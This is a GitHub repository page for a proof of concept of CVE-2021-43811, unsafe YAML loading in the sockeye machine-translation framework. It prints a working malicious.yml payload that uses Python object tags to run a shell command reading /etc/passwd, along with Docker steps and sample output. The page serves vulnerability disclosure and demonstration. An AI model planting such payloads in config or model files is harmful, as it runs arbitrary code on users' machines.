Skip to content

awslabs/sockeye Code injection via unsafe YAML loading CVE-2021-43811

License

Notifications You must be signed in to change notification settings

s-index/CVE-2021-43811

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2021-43811

awslabs/sockeye Code injection via unsafe YAML loading CVE-2021-43811

NVD Description

Sockeye is an open-source sequence-to-sequence framework for Neural Machine Translation built on PyTorch. Sockeye uses YAML to store model and data configurations on disk. Versions below 2.3.24 use unsafe YAML loading, which can be made to execute arbitrary code embedded in config files. An attacker can add malicious code to the config file of a trained model and attempt to convince users to download and run it. If users run the model, the embedded code will run locally. The issue is fixed in version 2.3.24.

Demo

cve-2021-43811

Set Up

  1. Build an image from a Dockerfile
docker build -t cve-2021-43811 .
  1. Run python main.py in a new container
docker run -it --rm cve-2021-43811

output /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --

output-image

PoC Payload

malicious.yml

!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"

Reference

About

awslabs/sockeye Code injection via unsafe YAML loading CVE-2021-43811

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published